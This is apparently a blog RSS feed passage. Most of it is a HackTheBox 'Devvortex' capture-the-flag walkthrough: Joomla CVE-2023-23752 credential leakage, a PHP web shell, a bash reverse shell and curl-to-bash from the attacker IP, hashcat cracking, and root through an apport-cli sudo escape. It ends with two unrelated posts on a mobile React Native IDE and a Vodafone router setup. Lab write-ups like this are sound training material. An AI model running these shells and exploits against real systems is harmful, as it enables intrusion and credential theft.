<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sudo nano /etc/hosts</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/etc-hosts.png" alt="/etc/hosts file"></p>
<p>After assigning the local domain name for the Target IP Address, I proceeded with a thorough port scan using Nmap to identify any open ports and services running on the machine.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>nmap -p- -sV -T4 --max-retries <span style="color:#ae81ff">3</span> devvortex.htb</span></span></code></pre></div>
<p>Based on the scan results, I discovered that ports 22 (SSH) and 80 (HTTP) were open. This indicated that there might be potential entry points through these services that I could explore further.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">65533</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    nginx 1.18.0 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span></span></span></code></pre></div>
<p>The website utilizes nginx and its content appears to be associated with a development company.</p>
<p>However, it does not utilize HTTPS.</p>
<p>Upon inspecting the source code of the page, we can observe that the website has been constructed using HTML and jQuery.</p>
<p>Certain content is accessible within the following directories: <code>css/</code>,<code>images/</code>,<code>js/</code>.</p>
<p>We cannot list the content of these or any other directory because Directory Indexing is disabled, resulting in a 403 Forbidden error being displayed when accessing them.</p>
<p><img src="../../images/hackthebox/devvortex/403-forbidden.png" alt="403 Forbidden"></p>
<h2 id="gobuster-directory-enumeration-for-web-content">Gobuster Directory Enumeration for Web Content</h2>
<p>In order to comprehensively explore the web content of the Devvortex machine, I employed Gobuster—an effective tool for directory and file enumeration.</p>
<p>Despite the website not exhibiting PHP capabilities, I opted to include a scan for this extension as part of the enumeration process, aiming to identify any potentially intriguing files.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gobuster dir -u http://devvortex.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,php3,html</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/gobuster-dir.png" alt="Gobuster DIR"></p>
<p>However, the directory enumeration concluded without revealing any noteworthy files or directories.</p>
<h2 id="dns-enumeration-for-subdomains"><strong>DNS Enumeration for Subdomains</strong></h2>
<p>After encountering unremarkable results from Gobuster, I decided to explore alternative avenues. Turning to DNS enumeration became the next logical step to investigate potential subdomains associated with the target.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ gobuster dns -d devvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/gobuster-dns.png" alt="Gobuster DNS"></p>
<p>To my satisfaction, this approach yielded results!</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Found: dev.devvortex.htb
</span></span><span style="display:flex;"><span>Found: piwik.devvortex.htb</span></span></code></pre></div>
<p>Upon discovering these two domain names, I promptly added both to my <code>/etc/hosts</code> file. Subsequently, visiting these domains allowed me to inspect their content for further insights.</p>
<h2 id="joomla-enumeration-and-version-discovery">Joomla Enumeration and Version Discovery</h2>
<p>Upon investigating the subdomains, it was observed that the <code>piwik.devvortex.htb</code> domain redirects to <code>devvortex.htb</code>. However, the <code>dev.devvortex.htb</code> domain reveals another website.</p>
<p>Analyzing the source code of it, no <code>Powered by</code> text is found.
<br/>
Nevertheless, the theme name hints at the possibility of it being a Joomla website. This suspicion is confirmed by checking the robots.txt file.</p>
<p><img src="../../images/hackthebox/devvortex/robots-txt.png" alt="Robots.txt"></p>
<h3 id="joomla-version-enumeration">Joomla Version Enumeration</h3>
<p>The next step involves determining the Joomla version to identify potential vulnerabilities. Accessing the <code>/administrator</code> directory yields a login page. However, this path can be utilized for further enumeration.</p>
<p>The presence of the <code>joomla.xml</code> file in the path <code>/administrator/manifests/files/joomla.xml</code> provides additional details about the Joomla version running on the server.</p>
<p><img src="../../images/hackthebox/devvortex/joomla-xml.png" alt="joomla.xml"></p>
<h3 id="exploiting-joomla-cve-2023-23752">Exploiting Joomla CVE-2023-23752</h3>
<p>Upon identifying the Joomla version as 4.2.6, further exploration reveals an interesting CVE (CVE-2023-23752) that could be exploited for Code Execution on the target host. The details of this CVE can be found at <a href="https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html">Joomla Security Centre</a>.</p>
<p>The vulnerability allows access to JSON data containing MySQL database credentials.</p>
<p><img src="../../images/hackthebox/devvortex/cve-2023-23752.png" alt="CVE 2023-23752"></p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;type&#34;</span>:<span style="color:#e6db74">&#34;application&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;224&#34;</span>,<span style="color:#f92672">&#34;attributes&#34;</span>:{<span style="color:#f92672">&#34;user&#34;</span>:<span style="color:#e6db74">&#34;lewis&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">224</span>}}<span style="color:#960050;background-color:#1e0010">,</span>{<span style="color:#f92672">&#34;type&#34;</span>:<span style="color:#e6db74">&#34;application&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#e6db74">&#34;224&#34;</span>,<span style="color:#f92672">&#34;attributes&#34;</span>:{<span style="color:#f92672">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;P4ntherg0t1n5r3c0n##&#34;</span>,<span style="color:#f92672">&#34;id&#34;</span>:<span style="color:#ae81ff">224</span>}}</span></span></code></pre></div>
<p>While initially meant for MySQL database access, luck is on our side—the sysadmin&rsquo;s password reuse allows us to log in to the Joomla administrator dashboard.</p>
<p><img src="../../images/hackthebox/devvortex/joomla-dashboard.png" alt="Joomla Administrator Dashboard"></p>
<p>Once inside, we can leverage this access to explore further vulnerabilities and escalate privileges. Consideration is given to searching for additional exploits or misconfigurations within the Joomla environment to advance the exploitation process.</p>
<h2 id="exploiting-joomla-for-command-execution">Exploiting Joomla for Command Execution</h2>
<p>After successfully identifying and exploiting the Joomla vulnerability (CVE-2023-23752) to gain access to the Joomla administrator dashboard, the next step involves attempting to achieve command execution on the target system.</p>
<h3 id="injecting-malicious-php-code">Injecting Malicious PHP Code</h3>
<p>An initial attempt is made to inject malicious PHP code into the <code>cassiopeia</code> template&rsquo;s <code>index.php</code> file using the following one-liner:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">isset</span>($_REQUEST[<span style="color:#e6db74">&#39;cmd&#39;</span>])){ <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;&lt;pre&gt;&#34;</span>; $cmd <span style="color:#f92672">=</span> ($_REQUEST[<span style="color:#e6db74">&#39;cmd&#39;</span>]); <span style="color:#a6e22e">system</span>($cmd); <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;&lt;/pre&gt;&#34;</span>; <span style="color:#66d9ef">die</span>; }<span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div>
<p>However, it is observed that the <code>index.php</code> file is write-protected, hindering the direct injection approach.</p>
<h3 id="uploading-a-malicious-joomla-extension">Uploading a Malicious Joomla Extension</h3>
<p>As an alternative, a malicious Joomla extension is uploaded to the website. The chosen extension is the one developed by @p0dalirius, available at <a href="https://github.com/p0dalirius/Joomla-webshell-plugin">Joomla-webshell-plugin</a>. Following the instructions provided in the GitHub repository, the extension is successfully installed, providing a web shell for command execution.</p>
<p><img src="../../images/hackthebox/devvortex/module-installation.png" alt="Module Installation"></p>
<h3 id="command-execution-with-curl">Command Execution with CURL</h3>
<p>Using CURL, commands can be executed through the web shell. The following command is an example of retrieving system information:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -X POST <span style="color:#e6db74">&#39;dev.devvortex.htb/modules/mod_webshell/mod_webshell.php&#39;</span> --data <span style="color:#e6db74">&#34;action=exec&amp;cmd=id&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;stdout&#34;</span>:<span style="color:#e6db74">&#34;uid=33(www-data) gid=33(www-data) groups=33(www-data)\\n&#34;</span>,<span style="color:#e6db74">&#34;stderr&#34;</span>:<span style="color:#e6db74">&#34;&#34;</span>,<span style="color:#e6db74">&#34;exec&#34;</span>:<span style="color:#e6db74">&#34;id&#34;</span><span style="color:#f92672">}</span></span></span></code></pre></div>
<p>The successful execution is evident, establishing a connection as the user <code>www-data</code>.</p>
<h3 id="interactive-console-for-shell-access">Interactive Console for Shell Access</h3>
<p>To further escalate privileges, an Interactive Console provided by the installed malicious extension is utilized. The <code>console.py</code> file from the repository facilitates obtaining a shell.</p>
<p><img src="../../images/hackthebox/devvortex/webshell-whoami.png" alt="Webshell whoami"></p>
<p>Using this console, exploration reveals the location of the <code>user.txt</code> flag inside <code>/home/logan/</code>.</p>
<p>However, access to this file is restricted.</p>
<p><img src="../../images/hackthebox/devvortex/cat-user-failed.png" alt="Cat User Flag failed"></p>
<h3 id="user-enumeration-with-etcpasswd">User Enumeration with /etc/passwd</h3>
<p>Attempting to identify additional users, the contents of the <code>/etc/passwd</code> file are downloaded. Unfortunately, no other users are discovered at this point in the exploration. The focus now shifts towards finding a pathway to escalate privileges and eventually gain root access.</p>
<h2 id="escalating-to-a-real-shell-and-database-enumeration">Escalating to a Real Shell and Database Enumeration</h2>
<p>Expressing dissatisfaction with the Interactive Shell, an alternative approach is adopted to spawn a more conventional shell.</p>
<h3 id="creating-a-shell-script-for-reverse-shell">Creating a Shell Script for Reverse Shell</h3>
<p>An <code>.sh</code> file is crafted to execute the desired commands. The contents of this file aim to establish a reverse shell connection:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>bash -i &gt;&amp; /dev/tcp/10.10.14.89/9999 0&gt;&amp;<span style="color:#ae81ff">1</span></span></span></code></pre></div>
<p>This shell script is designed to initiate a reverse shell connection back to the specified IP address (10.10.14.89) and port (9999).</p>
<h3 id="executing-the-shell-script">Executing the Shell Script</h3>
<p>To execute the shell script on the target system, a PHP Development Server is initiated. The target downloads and executes the script, connecting back to a netcat listener:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl http://10.10.14.89:9999/balzabu_reverse.sh | bash</span></span></code></pre></div>
<p>In this command, the shell script is retrieved using <code>curl</code> and immediately piped to <code>bash</code> for execution. This process effectively establishes a reverse shell connection from the target to the specified listener.</p>
<p>The process and successful connection are depicted in the following image.</p>
<p><img src="../../images/hackthebox/devvortex/shell-script.png" alt="Shell Script Setup"></p>
<h3 id="accessing-mysql-cli-with-successfully-obtained-credentials">Accessing MySQL CLI with Successfully Obtained Credentials</h3>
<p>With the credentials obtained during the Joomla exploitation proving valid, access to the MySQL command-line interface (CLI) is established through our new shell.</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ mysql -ulewis -pP4ntherg0t1n5r3c0n## -h localhost -D joomla</span></span></code></pre></div>
<h3 id="database-enumeration-joomla-users">Database Enumeration: Joomla Users</h3>
<p>Within the <code>joomla</code> database, exploration reveals the existence of the <code>sd4fg_users</code> table. Dumping its contents provides valuable user information:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sd4fg_users;</span></span></code></pre></div>
<p>In the user table, the presence of the confirmed user <code>logan</code> is reaffirmed:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ae81ff">650</span> <span style="color:#f92672">|</span> logan paul <span style="color:#f92672">|</span> logan <span style="color:#f92672">|</span> logan<span style="color:#f92672">@</span>devvortex.htb <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">2</span>y$10$IT4k5kmSGvHSO9d6M<span style="color:#f92672">/</span><span style="color:#ae81ff">1</span>w0eYiB5Ne9XzArQRFJTGThNiy<span style="color:#f92672">/</span>yBtkIj12 <span style="color:#f92672">|</span></span></span></code></pre></div>
<p>Observing the hashed password, it is inferred that bcrypt/blowfish algorithms were likely employed for encryption.</p>
<p><img src="../../images/hackthebox/devvortex/hash-identified.png" alt="Hash Identified"></p>
<h2 id="cracking-password-hash-and-ssh-access">Cracking Password Hash and SSH Access</h2>
<p>With the hashed password in hand, the next step involves attempting to crack it using <code>hashcat</code>. The hash is stored in a file named <code>hash</code> which contains the previously obtained result:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12&#39;</span> &gt;&gt; hash</span></span></code></pre></div>
<p>The cracking process is initiated using the following <code>hashcat</code> command:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo hashcat -a <span style="color:#ae81ff">0</span> -m <span style="color:#ae81ff">3200</span> hash /usr/share/wordlists/rockyou.txt</span></span></code></pre></div>
<p>The result of the cracking endeavor is successfully captured in the image:</p>
<p><img src="../../images/hackthebox/devvortex/hash-cracked.png" alt="Hash Cracked"></p>
<p>Now armed with the cracked password, the journey advances towards SSH access. The credentials are utilized to log in as the user <code>logan</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh logan@devvortex.htb</span></span></code></pre></div>
<p>Upon successful authentication, access to the &rsquo;logan&rsquo; account is granted:</p>
<p><img src="../../images/hackthebox/devvortex/ssh-logan-successfull.png" alt="Logged in successfully"></p>
<p>Subsequently, the user flag is retrieved from the home directory:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>logan@devvortex:~$ cat user.txt
</span></span><span style="display:flex;"><span>53ea1d7ae33dbd77cda0be21f4cfed7e</span></span></code></pre></div>
<p>With user privileges secured, the focus shifts towards the ultimate goal— escalating to <code>root</code> and achieving full control over the system. The journey continues with an exploration of potential vulnerabilities and exploitation vectors.</p>
<h2 id="root-privilege-escalation-exploiting-cve-2023-1326">Root Privilege Escalation: Exploiting CVE-2023-1326</h2>
<p>To proceed with privilege escalation, an initial step involves enumerating the Linux kernel:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>logan@devvortex:~$ <span style="color:#f92672">(</span>cat /proc/version <span style="color:#f92672">||</span> uname -a<span style="color:#f92672">)</span> 2&gt;/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Linux version 5.4.0-167-generic <span style="color:#f92672">(</span>buildd@lcy02-amd64-010<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>gcc version 9.4.0 <span style="color:#f92672">(</span>Ubuntu 9.4.0-1ubuntu1~20.04.2<span style="color:#f92672">))</span> <span style="color:#75715e">#184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023</span></span></span></code></pre></div>
<p>The examination reveals no apparent kernel exploits, prompting a shift towards inspecting services and binaries on the server.</p>
<h3 id="identifying-root-execution-capability">Identifying Root Execution Capability</h3>
<p>Exploring potential commands executable with root privileges, the <code>apport-cli</code> command stands out as the only addition.</p>
<p><img src="../../images/hackthebox/devvortex/sudo-l.png" alt="sudo -l command"></p>
<h3 id="exploiting-cve-2023-1326">Exploiting CVE-2023-1326</h3>
<p>Upon discovering the presence of <code>apport-cli</code>, further investigation unveils a privilege escalation vulnerability—CVE-2023-1326, similar to CVE-2023-26604.
The details of this CVE can be found at <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1326">National Vulnerability Database</a>.</p>
<h3 id="exploitation-steps">Exploitation Steps:</h3>
<ol>
<li>
<p><strong>Create a Report File:</strong></p>
<p>Execute the following command to generate a report file:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apport-cli -f</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/create-report.png" alt="Create report"></p>
</li>
<li>
<p><strong>Copy Report File:</strong></p>
<p>Move the generated report file from <code>/tmp</code> to <code>/var/crash</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mv /tmp/some_crash_file.crash /var/crash/</span></span></code></pre></div>
</li>
<li>
<p><strong>Exploit CVE-2023-1326:</strong></p>
<p>Initiate the exploit by executing the following command:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash</span></span></code></pre></div>
<p>Press <code>V</code> to view the report, and once loaded, enter the following command in a manner similar to invoking a shell in <code>vim</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>!/bin/bash</span></span></code></pre></div>
<p><img src="../../images/hackthebox/devvortex/report-loaded.png" alt="Report Loaded"></p>
</li>
<li>
<p><strong>Achieving Root Access:</strong></p>
<p>The successful execution of the above steps results in obtaining root access:</p>
<p><img src="../../images/hackthebox/devvortex/shell-escape-to-root.png" alt="Shell Escape to root"></p>
</li>
</ol>
<h3 id="root-flag-retrieval">Root Flag Retrieval</h3>
<p>Having escalated privileges to root, the final step involves retrieving the root flag from <code>/root/root.txt</code>:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /root/root.txt
</span></span><span style="display:flex;"><span>81df009efcd837a749211c494bfbb3e9</span></span></code></pre></div>
<p>With this, the machine is totally compromised marking the completion of the penetration testing journey on the Devvortex system.</p>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>React-Native IDE for Mobile</title>
      <link>https://blog.balzabu.io/posts/react-native-ide-for-mobile/</link>
      <pubDate>Fri, 08 Dec 2023 14:20:05 +0200</pubDate>
      <guid>https://blog.balzabu.io/posts/react-native-ide-for-mobile/</guid>
      <description>&lt;p&gt;In the past few weeks I&amp;rsquo;ve been studying &lt;a href=&#34;https://en.wikipedia.org/wiki/React_Native&#34;&gt;React Native&lt;/a&gt; to build a Mobile Application for my girlfriend.
She needed an application that could interact with the Assistants API provided by &lt;a href=&#34;https://chat.openai.com/&#34;&gt;ChatGPT&lt;/a&gt; in order to make summarizes of school books.&lt;/p&gt;
&lt;p&gt;The overall experience has been awesome, I fell in love with this framework.
&lt;br/&gt;
The simplicity and the fact that it&amp;rsquo;s cross-platform by default really are an advantage in the long run.
&lt;br/&gt;
To be honest I never thought, before this moment, I could code a Mobile APP this easily ( Considering I had a minor experience only with &lt;a href=&#34;https://kotlinlang.org/&#34;&gt;Kotlin&lt;/a&gt;, which is way more complex and messy ).
&lt;br/&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In the past few weeks I&rsquo;ve been studying <a href="https://en.wikipedia.org/wiki/React_Native">React Native</a> to build a Mobile Application for my girlfriend.
She needed an application that could interact with the Assistants API provided by <a href="https://chat.openai.com/">ChatGPT</a> in order to make summarizes of school books.</p>
<p>The overall experience has been awesome, I fell in love with this framework.
<br/>
The simplicity and the fact that it&rsquo;s cross-platform by default really are an advantage in the long run.
<br/>
To be honest I never thought, before this moment, I could code a Mobile APP this easily ( Considering I had a minor experience only with <a href="https://kotlinlang.org/">Kotlin</a>, which is way more complex and messy ).
<br/></p>
<p><strong>However</strong>, during the initial phases I had to test various layouts and components to make sure they would work like I intended.
As most of the programmers I know, we all get the ideas while we&rsquo;re doing something else and I had a few occasions where I wanted to test a thing but I couldn&rsquo;t due to the lack of a well-made IDE for Mobile.</p>
<p>Yeah, you heard right, all the online IDEs for React-Native suck&hellip; here&rsquo;s why:</p>
<ul>
<li>They won&rsquo;t allow you to use built-in Android functions on the sourcecode ( Say bye-bye to &ldquo;Select All&rdquo; or &ldquo;Copy/Paste&rdquo; ).</li>
<li>They all have some kind of resizing/scaling issue, even when browsing it with a Windows UA, forcing the page to be loaded like it would on a computer.</li>
</ul>
<p>So I had to find a solution which in the end was pretty straightforward.</p>
<h2 id="the-life-hack">The Life Hack</h2>
<p>In the end I found out that the best mobile IDE is called &ldquo;<a href="https://snack.expo.dev/">Snack</a>&rdquo;, made by the developers of <a href="https://expo.dev/">Expo</a>.
<br/>
It allows you to write the code and execute it on various devices (Including your own) !</p>
<p>Despite being pretty good on computer, I&rsquo;ve noticed how it has the same issues I&rsquo;ve pointed previously, so I was scratching my head searching for a solution.</p>
<p>A much thought, I found out that the &ldquo;Learn the Basics&rdquo; docs from the <a href="https://reactnative.dev">reactnative.dev</a> website has a custom built-in &ldquo;Snack&rdquo; IDE!</p>
<p>I just fell in love with it, it doesn&rsquo;t have any of the issues I said before and can even skip the waitlist when you build the code.</p>
<p>So, if you&rsquo;re looking for a Mobile IDE that just WORKS&hellip; just use the one available in the official React Native documentations here: <a href="https://reactnative.dev/docs/tutorial">reactnative.dev</a> (Remember to request desktop website, else the website will tell you to install the Expo GO app).</p>
<p><img src="/images/react_native_ide_for_mobile/ide-photo.png" alt="Ide Photo"></p>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Vodafone Station as an Access Point</title>
      <link>https://blog.balzabu.io/posts/vodafone-station-as-access-point/</link>
      <pubDate>Wed, 18 Oct 2023 19:51:46 +0200</pubDate>
      <guid>https://blog.balzabu.io/posts/vodafone-station-as-access-point/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Updated on 2023-12-07&lt;/p&gt;
&lt;p&gt;Note to self: never host your images on external services.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You recently changed ISP or upgraded your connection to an FTTH and now you have an extra &lt;em&gt;Vodafone Power Station&lt;/em&gt; laying around, don&amp;rsquo;t you?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Don’t throw it in the trash! Instead, use it as an Access Point by following the guide below!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.balzabu.io/images/vodafone_station/pepe_looks_vodafone_station.jpg&#34; alt=&#34;Pepe learns he can reuse his Vodafone Station&#34;&gt;&lt;/p&gt;
&lt;p&gt;Your pockets will thank you!&lt;/p&gt;
&lt;h2 id=&#34;requirements&#34;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;I&amp;rsquo;m going to refer to the Vodafone Power Station as VS&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<blockquote>
<p>Updated on 2023-12-07</p>
<p>Note to self: never host your images on external services.</p>
</blockquote>
<p>You recently changed ISP or upgraded your connection to an FTTH and now you have an extra <em>Vodafone Power Station</em> laying around, don&rsquo;t you?</p>
<p><strong>Don’t throw it in the trash! Instead, use it as an Access Point by following the guide below!</strong></p>
<p><img src="/images/vodafone_station/pepe_looks_vodafone_station.jpg" alt="Pepe learns he can reuse his Vodafone Station"></p>
<p>Your pockets will thank you!</p>
<h2 id="requirements">Requirements</h2>
<p><em><strong>I&rsquo;m going to refer to the Vodafone Power Station as VS</strong>.</em></p>
<ol>
<li>Vodafone Power Station</li>
<li>Laptop or Smartphone</li>
<li>A LAN cable running from your current router to the area where you want to place your VS.</li>
<li>Web-UI credentials that can be found on the bottom side of the VS</li>
<li>A working brain</li>
</ol>
<h2 id="1-factory-reset">1. Factory Reset</h2>
<p>Before going on with the guide, it’s important to check if the VS is configured or not.
If it was previously used, it’s highly suggested that you&rsquo;ll have to perform a Factory Reset to avoid any kind of issue.</p>
<p>There are two ways to perform a Factory Reset, you can choose the one you prefer:</p>
<ul>
    <li> By pressing the reset button on the back of your VS for a few seconds. </li>
    <li> Through the VS Web-UI interface. </li>
</ul>
<h3 id="reset-button">Reset Button</h3>
<p>If you want to reset your VS through the physical button, you simply need to press it using a needle for a few seconds.
<br>
Once all the LEDs light up, you can release it and wait for the process to finish in a few minutes.</p>
<h3 id="web-ui">Web-UI</h3>
<p>If you want to reset your VS through the Web-UI, you need to connect to the router first.</p>
<p>After connecting, even if you can’t browse the internet, you will be able to access the router (we can also refer to it as &ldquo;gateway&rdquo;) Web-UI.</p>
<p>To access the gateway, we should first check which subnet the VS is currently using; generally, after a Factory Reset, the default subnet should always be “192.168.1.0/24”, but checking it is fairly easy, so I highly suggest not to skip this part.</p>
<p>So, in case you don’t remember the address of your VS or you want to reset it, you can:</p>
<ul>
<li>
<p>Windows</p>
<ul>
<li>Open &ldquo;Command Prompt&rdquo; or &ldquo;Powershell&rdquo; [ Need help? Click <a href="https://en.wikiversity.org/wiki/Command_Prompt/Open">HERE</a> ]</li>
<li>Type &ldquo;<em>ipconfig</em>&rdquo; and press enter.</li>
<li>Your Subnet / Gateway IP will be shown on the corresponding interface.
<img src="/images/vodafone_station/windows_ipconfg.jpg" alt="Windows ipconfig"></li>
</ul>
</li>
<li>
<p>Linux</p>
<ul>
<li>Do I really need to tell you this?</li>
</ul>
</li>
<li>
<p>Android</p>
<ul>
<li>As you would on <em>Linux</em> if you use APPs like <a href="https://play.google.com/store/apps/details?id=com.termux">Termux</a>, or you simply check the assigned addresses by looking at the options that appear once you&rsquo;re connected to a Wi-Fi network and click on it.
<br>
<br></li>
</ul>
</li>
</ul>
<p>Once you&rsquo;ve got the gateway address, you can then access it through any browser.
<br>
If we suppose that the Gateway IP is <em>192.168.1.1</em>, the address will be: https://<em>192.168.1.1</em>/</p>
<p><strong>P.S:</strong> If you see any HTTPS errors, you can safely skip them.
These are mostly due to self-signed HTTPS certificates being used.</p>
